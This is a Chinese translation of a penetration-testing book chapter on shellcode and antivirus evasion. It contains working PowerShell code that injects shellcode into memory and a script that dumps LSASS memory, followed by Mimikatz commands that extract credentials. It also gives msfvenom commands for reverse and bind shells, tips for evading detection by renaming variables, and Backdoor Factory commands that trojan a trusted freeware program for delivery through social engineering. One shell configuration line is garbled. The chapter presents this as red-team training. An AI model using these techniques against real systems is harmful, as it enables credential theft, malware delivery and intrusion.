原文:
annas-archive.org/md5/9bdf306f3ae0b1954ace2dcf4a6b275a
译者:飞龙
第十二章:Shell 编码 – 规避杀毒软件
自 1971 年 Creeper 蠕虫在 ARPANET 上 PDP-10 主机之间传播以来,恶意软件的复杂性已经发生了极大变化。由于对未来充满未知,很少有人完全理解这一新生“怪物”的潜力。理解恶意软件潜力的先驱之一是计算机科学家 Fred Cohen,他首次定义了计算机病毒的概念,并发明了对抗计算机病毒的首个方法论。在他 1987 年的开创性论文《计算机病毒——理论与实验》中,Cohen 展示了计算机病毒的绝对精确检测是一个不可判定的问题——即一个需要做出“是”或“否”判断的问题,但没有任何系统能够始终给出正确答案(甚至任何答案)。他展示了系统间共享能力与病毒传播潜力之间的简单关系。在随后的几年里,技术的共享能力达到了跨代影响的水平,其潜力可能尚未完全被认识到。随着计算机病毒的能力逐渐成熟,这一问题的复杂性同样需要进一步发展。
这一背景是今天许多人所称的计算机安全中的猫捉老鼠问题的起源。我们无法在不帮助对方的情况下,单方面显著提高其中一方的水平。在渗透测试的世界里,这告诉我们永远不要放弃规避恶意软件防御机制的希望,当我们成功时,我们为客户提供关于他们环境中漏洞的真正前沿信息。我们将探讨现代的防御探测方法,以及如何在不离开办公桌的情况下研究更底层的抽象层。
本章将涵盖以下内容:
-
使用 PowerShell 和 Windows API 将 Shellcode 注入内存
-
使用 PowerShell 和 Windows API 从内存中窃取凭证
-
在 Kali 中反汇编 Windows Shellcode 可执行文件
-
使用自定义 Shellcode 为 Windows 可执行文件植入后门
技术要求
我们在测试中需要以下前提条件:
-
Kali Linux
-
Windows 10 或 7 虚拟机
使用 PowerShell 进行离线操作
“你就像个婴儿,发出噪音,不知道该做什么。”
– 阿凡达中的内蒂莉
所以,你有了一些美味的 shellcode,需要执行它。你可以直接从 msfvenom
生成一个可执行文件,但我不认为世界上有任何一个防病毒产品能避免检测到这个。我们也曾使用 Shellter 进行动态注入,并且在本章后面我们将进一步探讨更多无害的 便携式可执行文件(PEs)的寄生方式——但再次强调,我们是将指令嵌入到一个二进制文件中,期望在防病毒软件判断程序是安全的情况下偷偷绕过它。另一方面,脚本并不是机器代码。它们是需要被解释的高级指令——实际的机器代码是在解释器中运行的。虽然这并非万无一失,且防病毒供应商早已意识到我们这些脚本编写者的行为,但它在恶意意图和实际执行之间增加了一层诱人的抽象。
在我那个时代,我们必须将工具集拖到目标机器上然后开始工作。现在的孩子们,Windows 目标系统上自带 PowerShell,它可以像任何 PE 文件一样与 Windows API 进行交互。这为 利用现有资源(LotL)方法开辟了一个全新的世界——利用目标上已经存在的资源。这并不新鲜——例如,攻击 Linux 主机早就有了像 Python 这样的工具可以在目标机器上存在的潜力。Windows 目标系统的情况差异很大,从系统管理员的工具宝库到简单的嵌入式系统都有,因此在获得初步立足点后,把你的工具搬过去可是件很麻烦的事。
这里的核心概念是解释器已经存在,并且任何防御软件都知道它不是恶意软件。不要被误导认为这意味着你的数字恐怖活动可以自由进行——正如本书其他地方所述,防御并不愚蠢。他们非常清楚这个攻击途径,终端保护产品在捕获这些方法上的成功率各不相同。在今天的时代,即使某个行为没有被阻止,检测技术也已经有了快速的提升——你可能成功执行了恶意 PowerShell 命令,并以为自己安全无虞,但在你开始获取战利品之前,防御分析师已经在审查你的活动了。你应该始终了解你的目标环境,并相应地制定计划。回想一下第一章,开放源代码情报,开放源代码情报的价值以及你的客户中有人可能已经在供应商论坛上寻求帮助的可能性。你或许已经能获得有关防御情况的线索。它们使用 McAfee 吗?那么你需要在一个隔离的 McAfee 环境中调查你的攻击。也许在 80%的供应商中会被标记的攻击在你的目标环境中就会被忽视。那么如果你的攻击在测试环境中被标记了呢?尝试进行一些修改。令人惊讶的是,即使在今天这个攻击手段复杂的时代,一些供应商会最初阻止一个脚本,但在修改了一些变量名后又允许它运行。
讲完这些哲学性话题后,让我们来看看你可能如何在目标上使用 PowerShell 发起一些意想不到的攻击——无需下载任何文件。
注入 Shellcode 到解释器内存
正如某位名人曾经说过,“不要问 PowerShell 能为你做什么,而是问你能用 Windows 原生 API 做什么。” 好吧,好像没有哪个名人说过这句话,但这是个不错的建议。PowerShell 只是我们连接原生 API 函数并利用其功能的桥梁。在这种情况下,我们将调用 kernel32.dll
和 msvcrt.dll
中的函数。我们需要 kernel32.dll
来为我们的使用保留内存并在这段保留的空间内启动一个新线程;然后,我们使用 msvcrt.dll
(C 运行时库),以便我们可以用特定字符设置保留空间中的每个位置——在我们这个案例中,就是将每个字节的位置填充为 shellcode。
首先,我们将用 C# 签名定义函数;这些函数将存储在名为 $signatures
的变量中。然后,我们使用 Add-Type
将它们引入我们的 PowerShell 会话。我们来看看:
$signatures = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$functionImport = Add-Type -MemberDefinition $signatures -Name "Win32" -NameSpace Win32Functions -PassThru;
好的,这并没有那么痛苦。我们创建了 $signatures
变量,并且在其中包含了将两个 DLL 中的三个函数引入的代码。最后,我们创建了一个名为 $functionImport
的对象,它现在包含了这些函数。从这时起,我们只需要与 $functionImport
交互来调用这些函数。
现在,我们需要创建一个名为$shellcode
的字节数组。这个数组将包含我们有效负载的每个字节,我们将使用For
循环来依次引用每个元素:
[Byte[]] $shellcode = <Tasty Bytes Go Here>;
$size = $shellcode.Length
$allocSpace = $functionImport::VirtualAlloc(0, $size, 0x3000, 0x40);
请注意,我们告诉VirtualAlloc()
精确的 shellcode 大小。其他参数呢?在你解析这段代码(以及你未来在职业生涯中遇到的其他代码)时,注意我们最初是如何定义这些参数的:IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect
。这告诉我们,VirtualAlloc()
将按顺序期待一个地址、一个大小、一个分配类型以及分配空间中将使用的内存保护类型。像往常一样,我鼓励你跳出这些页面,深入了解更多细节。
我们的倒数第二步是使用memset()
将我们分配空间的每个位置设置为来自 shellcode 的一个字符。正如你能想象的那样,最佳的实现方式是使用For
循环。我们将声明一个名为$position
的计数器,并随着它的递增,memset()
会将相应的字节设置到分配空间中,使用$position
作为偏移量,结合$allocSpace
来确定确切的位置:
For ($position = 0; $position -le ($shellcode.Length - 1); $position++) {
$functionImport::memset(IntPtr + $position), $shellcode[$position], 1)
};
陷阱已设下。我们只需要执行它。正如你从我们定义$signatures
时记得的,传递给CreateThread()
的第三个参数是起始地址——在这个例子中就是$allocSpace
。最后,为了在新线程运行时保持进程的持续运行,我们使用While ($true)
来创建一个无限休眠。或许有一天会做个美梦?
$functionImport::CreateThread(0, 0, $allocSpace, 0, 0, 0);
While ($true) {
Start-Sleep 120
};
在我们兴奋的过程中,差点忘了生成 shellcode!当然,可能性是无穷的。为了演示,我们就生成一段快速的消息框 shellcode,使用msfvenom
:
图 12.1 – 在 PowerShell 字节格式中生成有效负载
永远有用的msfvenom
会输出结果为 PowerShell 格式并将其命名为$buf
。你可以单独复制并粘贴字节,或者只需重命名变量。当我在我的 Windows 10 实验室中运行这段代码时,控制台会在For
循环使用memset()
时打印每个地址位置。最后,我们看到 shellcode 成功执行:
图 12.2 – 执行的有效负载
请注意,还有一些相关的函数叫做VirtualAllocEx()
和CreateRemoteThread()
。它们有什么区别呢?这两个函数实现的效果是一样的,只不过是作用于另一个进程的内存。通过在这里使用这些函数,PowerShell 解释器正在它自己的内存中分配空间并在自己的进程下启动一个新线程。秉持着我们的口号,防御不可傻,有很多方法可以捕捉到这种行为。然而,要跟上所有变化是非常困难的,而且有些厂商直到今天仍然依赖旧的方法。保持灵活的思维!
挑战自我 – 使用 PowerShell 进行即时 LSASS 内存转储
让我们继续使用 PowerShell 与 Windows API 进行实时交互的主题。这一次,我们不打算注入任何内容;我们要使用 Windows 本地的调试功能来攻击 本地安全授权服务器服务(LSASS)。这种行为 应该 被拦截,但我们发现,在某些配置和某些 AV 供应商的情况下,这仍然有效。
战争故事 – 一个真实的攻击场景
最近,我参与了一次主要基于 Windows 10 环境的红队评估。团队中的一位成员编写了一个精妙的工具,利用 Windows 本地的内存转储方法来转储 LSASS 内存,并调用 Mimikatz 提取凭证。这个工具一直都能正常工作,直到有一天,终端保护软件更新了,开始拦截它。几周后,我在一台安装了流行远程控制软件 VNC、且密码较弱的主机上工作,而 Windows 会话也保持解锁状态。因此,我可以虚拟地坐到键盘前。我写出了同样工具的 PowerShell 版本,然后将文本托管为一个网页。通过目标 PC 上的浏览器,我访问了该页面,复制了 PowerShell 脚本的文本,将其粘贴到 PowerShell 会话中并按下回车。它成功了!我得到了 LSASS 内存的转储,而且不需要下载任何东西。
这篇写得很简短,一旦你习惯了,就能省去一些代码行。和我们的内存注入攻击类似,我们正在利用本地方法。在这种情况下,我们使用了 MiniDumpWriteDump()
,这是一个为我们创建小转储文件的函数。我们可以指定要转储的进程,那么让我们看看当我们尝试对 LSASS 进程进行操作时会发生什么。开始吧:
$WinErrRep = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$werNativeMethods = $WinErrRep.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $werNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
到目前为止,一切顺利。我们引入了 WindowsErrorReporting
,它允许我们在某些崩溃发生时找出问题所在。本质上,我们希望能够像调查普通的 蓝屏死机(BSoD) 崩溃一样,调查 LSASS。在我们可以使用的各种方法中,我们选择了 MiniDumpWriteDump()
。现在,我们需要定义目标进程以及转储文件的目的地。
$MiniDumpfull = [UInt32] 2
$lsass = Get-Process lsass
$ProcessId = $lsass.Id
$ProcessName = $lsass.Name
$ProcessHandle = $lsass.Handle
$ProcessFileName = "$Home\Desktop\pirate_booty.dmp"
如你所想,我们可以针对任何我们想要的进程。在一次评估中,我获得了对 SCADA 设备的访问,并使用这段脚本从管理工业过程的专有客户端中转储了内存。我们为 $lsass
的每个属性声明了变量,并定义了转储文件的目标位置——本地桌面:
$FileStream = New-Object IO.FileStream($ProcessFileName, [IO.FileMode]::Create)
$Result = $MiniDumpWriteDump.Invoke($null, @(
$ProcessHandle,
$ProcessId,
$FileStream.SafeFileHandle,
$MiniDumpfull,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero))
$FileStream.Close()
If (-not $Result) {
$Exception = New-Object ComponentModel.Win32Exception
$ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
Remove-Item $ProcessFileName -ErrorAction SilentlyContinue
Throw $ExceptionMessage
} Else {
Exit
}
最后是我们操作的核心部分。我们创建了一个 FileStream
对象,当调用 MiniDumpWriteDump()
时会引用它。它指向我们刚刚指定的桌面文件位置。为了方便起见,我们还加入了一些错误处理,以防途中遇到问题,但这部分你不需要。如果操作成功,你会在桌面看到一个名为 pirate_booty.dmp
的大文件。我们正在转储 LSASS,因此理论上它应该是一个庞大的兆字节文件。如果你没有看到失败,但文件大小为零,那就表示没有成功。
这次攻击的好处在于,我们仅仅是收集一个转储文件;我们不担心 Mimikatz 被杀毒软件检测到,因为它已经回到我们的攻击主机。此时唯一的要求是将转储文件从目标机器拿回来。一旦我们得到了有用的文件,我们调用 Mimikatz 并传递两个命令来强制进行本地文件分析:
mimikatz # sekurlsa::minidump <文件名>
mimikatz # sekurlsa::logonPasswords
让你的眼睛闪烁,享受眼前的宝藏,就像查理第一次看到巧克力棒里的金色票券时的表情。请记住,我们看到的是实时运行的 LSASS 转储,因此这里可能有缓存的域凭证,我们无法看到。额外的好处是,无论我们在这里找到什么,都是最新的:
图 12.3 – 使用 Mimikatz 从 LSASS 转储中提取凭证
你可以将这些信息用于横向移动——例如,将这里提取的哈希值放入 Metasploit 的 PSEXEC
模块中的 PASSWORD
字段。我能听到你此刻在问,“难道这就这么简单吗?”
保持灵活 —— 调整脚本
如果你照字面输入这些命令,并在刚安装的 Windows 10 上运行,可能会遇到 Defender 的问题。关于杀毒软件(AV)最重要的一点是,它并不是某一个单一的产品或策略;有许多供应商使用各自的专有方法,它们也可能有自己的独特忽视之处。例如,假设一个公司通过他们的合同支持协议向杀毒软件供应商报告了一个假阴性(即没有检测到的病毒)。供应商通常会抓取报告文件的 SHA256 指纹,并将其加入下一个版本的病毒库签名中,这意味着你只需要改变源代码中的一个字符,就可以得到一个未知的程序。
有时,操作非常简单,只是添加注释 —— 它们完全不会改变程序的行为,但增加了额外的信息。你甚至可以改变变量名:
图 12.4 – 使用 Notepad++ 的查找和替换功能调整变量名
再次强调,脚本的行为没有发生任何改变。任何值得信赖的防病毒(AV)产品都应该能够捕捉到某些行为,不管调用过程是多么巧妙。但是,*“应该”*是这里的关键字,因此总是值得一试。没有一种通用的解决方案可以绕过防病毒软件;你需要根据目标的环境来设计绕过方法。
通过回顾几种自给自足的生存技巧,让我们更深入地了解一下shellcode
的生成过程。
理解 Metasploit shellcode 的传递方式
我们通过msfvenom
生成的 shellcode,最终是机器代码,告诉处理器如何执行某些操作,例如绑定到本地端口。一旦我们了解了低级概念,如堆栈、堆、虚拟地址空间和汇编语言,那么对 shellcode 的描述就足够直观。
Shellcoding
的艺术有两个关键考虑因素:目标执行环境的特性和实际的 shellcode 传递方式。第一个考虑因素包括字节序和破坏 shellcode 的字符;这个分析决定了0x20
在 shellcode 中正常工作的情况与0x20
成为我们需要避开的几个字符之一的情况。第二个考虑因素包括类似我们在堆喷射攻击中所涉及的情境,我们需要使用unescape()
函数来解析字节。shellcode 的传递必须考虑到过滤机制的潜在影响。同样,shellcode 最终是机器代码,但当我们编写利用代码时,shellcode 作为一个变量可能需要被当作字符串处理,然后传递到一个可能会或不会理解这些字符串的函数中。shellcoding 的部分艺术就是“走私”。
编码器理论与技术 —— 什么是编码,什么不是编码
msfvenom
帮助我们成为有效走私者的方式之一是通过提供编码器。编码器通过可逆算法将 shellcode 字节转化为另一种形式;然后,解码器存根被附加到 shellcode 上。现在,你经常会看到关于编码器以及它们在绕过 AV 保护方面的价值的讨论。明智的做法是不要沉迷于通过编码绕过 AV 以实现不可检测的有效载荷的梦想,原因有几个。首先,编码器实际上是用来帮助处理输入验证问题的;它们并不是为了绕过 AV。举个例子,假设你找到一个从用户获取输入的应用程序。你通过测试发现,如果你溢出缓冲区,就能控制执行;因此,你开始尝试通过该应用的用户输入机制传递 shellcode。如果输入机制不允许某些字符,尽管没有边界检查,你也会被卡住。这就是编码器的真正用途。其次,更重要的是,使用编码器进行 AV 规避的概念意味着,AV 只关注表示 shellcode 的特定字节序列。作为黑客,我们应该更明白这一点。即使是简单的基于签名的 AV 扫描器也能检测到如解码器存根和其他 Metasploit、BDF、Shellter、Veil 等的标志。如今市场上更先进的 AV 产品使用了更复杂的检查:它们将代码放入沙箱中,实际观察其功能;它们使用机器学习启发式算法;它们从数百万终端设备中每分钟收集小块信息,黑客们正在尝试各种方法。我很抱歉要打破这个泡沫,但最好放弃通过今天的 AV 产品悄悄通过 shellcode 的梦想。我听到后面有人说:“但上周那个零日恶意软件没有被 AV 检测到,我有个朋友用 msfvenom 和 BDF 等工具生成了一个完全不可检测的 Trojan。”我不是说 AV 规避已经死了——事实上,正如我在本书中展示的那样,它依然生机勃勃。
强调的是 万无一失。从中可以得到的启示是,你必须尽可能了解你的目标环境。我们很容易沉迷于疯狂的打字黑客技术,以至于忘记了传统的侦察工作。
但我跑题了。我们来快速看看 x86/shikata_ga_nai
编码器,感受一下它的工作原理。我们不会深入探讨编码器内部的机制,但这是一个回顾在 Kali 中检查 Windows 可执行文件汇编的好机会。
在 Kali 中的 Windows 二进制文件反汇编
我们要做的事情非常简单——生成三个 Windows 二进制文件。两个文件将使用完全相同的参数——我们将执行相同的msfvenom
命令两次,输出到不同的文件名以便比较——但是会使用x86/shikata_ga_nai
编码器。然后,我们将生成相同的 shellcode 作为 Windows 二进制文件,但不使用任何编码器。负载是一个简单的反向 TCP shell,指向我们的主机192.168.108.117
,端口为1066
:
msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --encoder x86/shikata_ga_nai --format exe > shell1.exe
msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --encoder x86/shikata_ga_nai --format exe > shell2.exe
msfvenom --payload windows/shell/reverse_tcp LHOST=192.168.108.117 LPORT=1066 --format exe > shell_noencode.exe
使用sha256sum
比较两个编码后的 payload EXE 文件。在不查看单个字节的情况下,我们可以看到每次迭代的代码都是唯一的:
图 12.5 – 比较我们两个编码后的恶意软件 PE 文件的指纹
在 Kali 中分析二进制文件有两个不可或缺的工具:xxd
和objdump
。xxd
是一个十六进制转储工具,它将二进制文件的原始内容以十六进制形式输出。objdump
是一个更通用的工具,用于分析对象文件,但它的功能使其成为一个便捷的反汇编器。将这些工具的强大功能与grep
结合,你就有了一种快速粗略地查找二进制文件中特定模式的方法。让我们从对未编码的 Windows 后门进行反汇编开始:
objdump -D shell_noencode.exe -M intel
请注意,我使用的是 Intel 格式的反汇编;毕竟这是一个 Windows 可执行文件。即使是 Windows 爱好者,在 Kali 上查看反汇编也能感到得心应手。这是一个很大的输出——请拿杯咖啡,慢慢浏览。在此期间,让我们看看能否在这个文件中找到LHOST
的 IP 地址。我们知道192.168.108.117
的十六进制表示是c0.a8.6c.75
,所以让我们使用grep
来找出它:
objdump -D shell_noencode.exe -M intel | grep “c0 a8 6c 75”
图 12.6 – 使用 objdump 和 grep 查找特定指令
在40888a
处,我们找到将目标 IP 地址压入堆栈的指令。试着在其中一个编码后的文件中找到相同的字节。差一点就对了。所以我们知道编码器已经有效地加密了这些字节,但我们也知道使用相同编码器和相同参数生成的两个文件的哈希值是不同的。我们可以将这两个二进制文件的十六进制转储并排放置,了解x86/shikata_ga_nai
做了什么。
向下滚动到.text
部分,看看两个二进制文件中常见的字节序列:
图 12.7 – 寻找两个二进制文件之间的模式
如果仔细观察这段内存快照,你会发现有很多相同的字节序列;我已经突出显示了从 0x00001010
开始的单行中的几个字节。现在,我们可以回到我们的反汇编代码,并对这里发生的情况进行分析:
图 12.8 – 使用 objdump 和 grep 分析两个编码后的 PE 文件
尽管输出是独特的,我们仍然能看到一些明显的相似之处。在这个例子中,两个二进制文件在内存的相同位置有类似的指令:push 0x6fd1d8
和 push 0x40d1d8
。push
的操作码是 68
,接下来的两个字节 d8 d1
在操作数中是反向排列的。没错,这是小端字节顺序!这些模式有助于我们理解编码过程的工作原理,同时也帮助我们理解 AV 扫描器如何检测到我们的编码 shellcode。
现在我们已经有了一些关于如何分析我们的创作以更好地理解它们如何工作的思路,接下来让我们回到实际的攻击,进行 shellcode 注入。
使用 Backdoor Factory 注入
在 第七章,使用 Metasploit 进行高级利用,我们花了一些时间研究了 Shellter,这是一个用于动态注入到 Windows 可执行文件中的工具。Shellter 通过检查机器码和所选可执行文件的执行流程,识别出在不创建明显结构的情况下注入 shellcode 的方法;最终结果是一个具有高度抗 AV 检测能力的可执行文件,准备运行你的有效负载。虽然有一些类似的工具,但 Shellter 是其中最好的之一,但它也有几个限制——即,它是一个 Windows 应用程序,并且只能修补 32 位二进制文件。第一个限制并不是什么大问题,考虑到我们可以通过 Wine 运行它,但根据不同的视角,这也许会被认为是个缺点。第二个限制也不是什么大问题,因为任何 32 位应用程序在 64 位 Windows 上都能正常运行,但在面对强大防御的情况下,我们需要更多的选择,而不是更少。
在 第七章,使用 Metasploit 进行高级利用 中,我们正在探索快速而简便的 AV 绕过方法,以便将 Metasploit 有效负载偷偷注入。在本节中,我们采取更高级的方式来理解 Windows 二进制文件中的 shellcode 注入。这一次,我们将研究 Backdoor Factory** (
BDF**).
使用 PyEnv 进行时间旅行
BDF 唯一的问题是它已经有多年未更新了。它是如此有用的工具,依然相关;然而,由于它是用旧版本的 Python 编写的,我们必须能够将我们自己的 Python 安装回到过去。作为复习,Python 2 已于 2020 年 1 月 1 日正式结束生命周期,因此强烈推荐今后使用 Python 3。幸运的是,有一个工具可以让我们只通过一个命令就能改变全局 Python 版本,这样我们就能在 Python 3 和 Python 2 之间切换——它叫做 PyEnv
。让我们安装 PyEnv,并回到 Python 2.7.18。准备好零食——这只需要一组命令:
apt update
apt install -y build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev libncursesw5-dev xz-utils tk-dev libffi-dev liblzma-dev python3-openssl git
curl https://pyenv.run | bash
此时,PyEnv 会检测到它不在加载路径中。它会推荐你在 Z Shell 配置中添加三行。幸运的是,从那里开始就只需复制粘贴了。使用 echo
将它们添加进去,然后重启 shell:
echo ‘export PYENV_ROOT=“$HOME/.pyenv”’ >> ~/.zshrc
echo ‘command -v pyenv >/dev/null || export PATH=“ P Y E N V R O O T / b i n : PYENV_ROOT/bin: PYENVROOT/bin:PATH”’ >> ~/.zshrc
echo ‘eval “$(pyenv init -)”’ >> ~/.zshrc
exec $SHELL
最后,我们可以登上时光机:
pyenv install 2.7.18
pyenv global 2.7.18
重启你的电脑并验证你是否真的在玩弄过去的老玩具:
图 12.9 – 验证我们正在运行 Python 2
安装 BDF
我们只需使用 pip 获取一些 Python 依赖:
python -m pip install pefile
python -m pip install capstone
最后,我们可以使用 git 克隆 BDF:
git clone https://github.com/secretsquirrel/the-backdoor-factory
cd the-backdoor-factory
./install.sh
让我们开始使用这些新玩具。
代码注入基础知识 – 使用 BDF 进行微调
我喜欢这个工具的名字 Backdoor Factory,因为在真正的工厂中,你可以看到所有小的活动部件如何协同工作,创造出工厂最终生产的产品。当你第一次启动 BDF 时,可能会对命令行中提供的选项感到吃惊。虽然我们不会详细介绍所有这些选项,但我希望我们能对工具有所了解。在本章中,我们不会尝试所有功能,在某些评估中,你可能只需要几个参数就能完成任务。然而,工作的一部分是理解工具集的能力,以便你能有效地识别问题的解决方案。我们将这样做,但在回顾 BDF 功能之前,让我们更深入地理解将 shellcode 注入可执行文件(也叫做 补丁)的过程。任何动态注入器的核心概念之一就是代码洞。代码洞 是由仅包含空字节(0x00)的进程内存块组成。我们称它们为代码洞,因为它们黑暗、可怕且空荡荡的,就像熊住在其中,它们是藏匿恶意代码的好地方。(我撒了个谎,那里并没有熊。)这些“空无一物”的结构对我们很重要,因为它们让我们能够添加代码而不改变已经存在的内容。
在这个例子中,我突出了一个 Windows 安装程序中的代码洞:
图 12.10 – 在 IDA 反汇编器中找到代码洞
如果不设置任何标志,运行 BDF 只会显示这些选项(以及一个有趣的 ASCII 横幅)。让我们看看这个工具能做什么。请注意,这里有一些选项超出了我们的讨论范围或不需要解释,因此我跳过了它们。(实际上,有一个选项是针对 OnionDuke 的,你不会在太多合法的白帽子场景中看到它。)你可以通过以下简单命令启动工具:
./backdoor.py
如果没有任何参数,BDF 会告诉你可用的选项:
-
--file=
用于标识将使用你的代码进行修补的二进制文件。 -
--shell=
用于识别可用的有效载荷。定义了可执行文件后,使用--shell=show
可以查看兼容的有效载荷列表。 -
--hostip=
和--port=
是标准选项,用于连接回调或本地绑定,具体取决于有效载荷。 -
--cave_jumping
允许我们将 shellcode 分布到多个代码洞中;在一个代码洞中插入一些代码,然后跳转到下一个代码洞,再到下一个。 -
--add_new_section
为可执行文件添加一个新的部分,用于存放我们的 shellcode。这不是一个隐蔽的选项,但在某些二进制文件结构中可能是必要的。 -
--user_shellcode=
允许我们提供自己的 shellcode(而不是使用内置的有效载荷)。我更喜欢与我的 shellcode 建立一种更个人化的关系,因此几乎总是使用我自己的 shellcode。 -
--cave
和--shell_length=
用于在二进制文件中寻找代码洞。虽然--cave
可以找到所有代码洞并列出它们,--shell_length=
用于定义特定大小的代码洞。 -
--output-file=
是我们最终生成的文件保存的路径。 -
--section=
用于命名我们通过--add_new_section
创建的新节。 -
--directory=
是一个非常实用的选项,使 BDF 变得特别强大;它允许我们对整个目录的二进制文件进行后门处理。请记住,默认行为是寻找代码洞,这意味着每个独立的可执行文件都需要进行处理。将此选项与--add_new_section
结合使用时,BDF 不再需要寻找代码洞,这个过程会更快。记住一个经验法则,添加新节并不隐蔽。 -
--change_access
是默认行为;只有在某些情况下你才需要更改它。此选项使得载荷所在的代码洞变为可写和可执行。 -
--injector
、--suffix=
和--delete_original
是注入器模块的一部分,仅适用于 Windows 系统,因此在这里我们不进行操作。我没有跳过它们,因为它们既有趣又危险。它们非常激进且具有潜在的破坏性,因此建议小心使用。它们会在系统中寻找可修补的可执行文件,进行注入,并根据suffix
参数保存原始文件。如果使用--delete_original
,原始的未触及的可执行文件将被删除,留下注入后的副本。--injector
模块甚至会检查目标是否正在运行,如果是,它将关闭目标程序,进行注入,然后尝试重新启动它。 -
--support_check
允许 BDF 判断目标是否可以在不进行注入的情况下被注入。当你尝试注入一个文件时,会进行此检查,因此这对研究很有帮助。 -
--cave-miner
用于调整我们的 shellcode 生成,使其适应目标可执行文件,而不是相反。它帮助我们找到可以适配到某个代码洞中的最小有效载荷。 -
--verbose
用于调试注入过程。 -
--image-type=
让你能够识别要修补的二进制文件是 x86 还是 x64(或两者都有)。默认是两者都有。 -
--beacon=
用于能够发送信标或心跳的有效载荷。此选项接受以秒为单位的间隔时间作为参数。 -
--xp_mode
使你的创作能够在 Windows XP 上运行。没错——默认情况下,BDF 木马会在 XP 上崩溃。这是一种沙箱对策——随着 XP 逐渐不再作为实际的家庭(或生产)操作系统使用,它仍然在虚拟机和其他环境中找到了用途,可以在不担心破坏宝贵数据的情况下引爆数字炸弹。当然,现代沙箱可以在任何操作系统上进行,所以这个选项不会产生巨大的区别。如果你明确针对 XP 进行攻击,请留意这一点——许多生产环境仍然使用 XP,以便兼容某些应用程序。 -
--code_sign
在安全环境中非常有用,尤其是那些只信任签名代码的环境。这使得你可以用自己的签名证书和私钥签署你的作品。当然,你不可能拥有一些大型软件制造商的合法签名证书(对吧?),但如果检查只是在乎代码是否用任何证书签署,那么这个选项非常方便。如果你没有签署你的文件,那么你需要使用--zero_cert
。
这个工具使我们在注入过程中拥有相当多的控制权。通过这种低级别的控制,我们可以更深入地了解我们的项目,并根据需要精细调整我们的木马。接下来,我们将选择一个可执行文件,作为我们的感染程序,进行一些低级分析。
使用 BDF 和 IDA 进行木马工程
最理想的目标二进制文件是轻量级和可移植的——也就是说,它们依赖较少或根本没有依赖。一个需要完整安装的程序并不理想。我们假设客户的员工使用一个轻量级的免费软件来进行数据恢复。在我们的侦察阶段,我们建立了这个员工与公司另一位员工之间的信任关系。我们还发现了一个开放的 SMTP 中继,因此我们将尝试进行社会工程攻击,建议员工下载新版软件。我们会发送一个链接,实际上指向我们的 Kali 主机,拉取被植入木马的文件。
在开始之前,我们将确认目标可执行文件的当前状态,从 AV 社区的信任角度进行验证,确保它被普遍信任。我们正在使用的程序DataRecovery.exe
,在社区中被认为是可信的。这有助于我们评估我们所实现的规避程度。去拿杯咖啡吧,我们继续。首先,我们将使用msfvenom
创建我们自己的有效载荷:
msfvenom --arch x86 --platform windows --payload windows/shell/bind_tcp EXITFUNC=thread LPORT=1066 --encoder x86/shikata_ga_nai --iterations 5 > trojan.bin
图 12.11 – 使用 msfvenom 生成编码后的有效载荷
你还记得那些丰盛的日子吗?那时我们可以使用 Meterpreter 反向连接 payload。那时候我们富裕,179 千字节的文件都能让我们傲慢地笑一笑。如今,当我们处理可能微小的代码 cave 时,那些日子已经一去不复返了。在这种情况下,我使用了windows/shell/bind_tcp
,因为它要小得多。这为我们提供了进行多次x86/shikata_ga_nai
迭代的空间。即使进行了五次迭代,我们最终也只得到了可怜的 482 字节。因此,这个攻击将要求我们主动连接目标,而不是等待对方的反向连接。为了之后分析最终产品,我现在就用xxd
检查 payload,获取一些原始字节:
图 12.12 – 使用 xxd 抓取 payload 的原始字节
接下来,我们将启动 BDF,并将我们编码后的二进制文件作为用户提供的 shellcode 传入:
./backdoor.py --file=DataRecovery.exe --shell=user_supplied_shellcode_threaded --user_shellcode=trojan.bin --output-file=datarec.exe --zero_cert
这是我们可以控制的部分。看一下这个提示,已标出合适的代码 cave:
图 12.13 – 检查代码 cave 以便跳转
让我们深入研究这个程序的机器代码,检查这些内存位置。我们真正要寻找的是一个合适的代码 cave 来放置 payload。为什么不直接探索程序在磁盘上的原始字节呢?像之前在章节中使用xxd
那样,我选择了第二个代码 cave——长度为 2,941 字节,从0x4a47f
开始,到0x4affc
结束:
图 12.14 – 检查代码 cave
这里看起来是我们 shellcode 的一个理想位置。我们继续将2
传递给 BDF,它会输出我们的木马可执行文件。我敢打赌,你此刻一定觉得自己像个真正的世界级黑客。别急,草蜢——先让你的邪恶创作通过扫描,看我们在规避方面做得如何。最后我们得到了50%
的检测率。哦,我的天。每两个扫描器就有一个能检测到它。发生了什么?首先,我们没有使用“cave jumping”(代码跳跃),所以我们的 payload 被直接放到了一个位置。接下来,我们将尝试“cave jumping”,并实验可执行文件的不同部分:
./backdoor.py --file=DataRecovery.exe --shell=user_supplied_shellcode_threaded --cave_jumping --user_shellcode=trojan.bin --output-file=datarec3.exe --zero_cert
对我们所选程序的执行流程进行更深入的分析,有助于我们识别合适的注入点。对于我们这些时间至关重要的从业者,我建议你搭建一个尽可能准确复制目标反恶意软件防御的实验室环境。侦察通常能为我们提供有关企业 AV 解决方案的信息(提示:在技术支持论坛上进行开源侦察),我们可以通过反复试验创建有效的有效载荷。
当我们跳跃洞穴时,我们可以控制哪些空字节块包含我们的 shellcode。
图 12.15 – 在 BDF 中选择洞穴
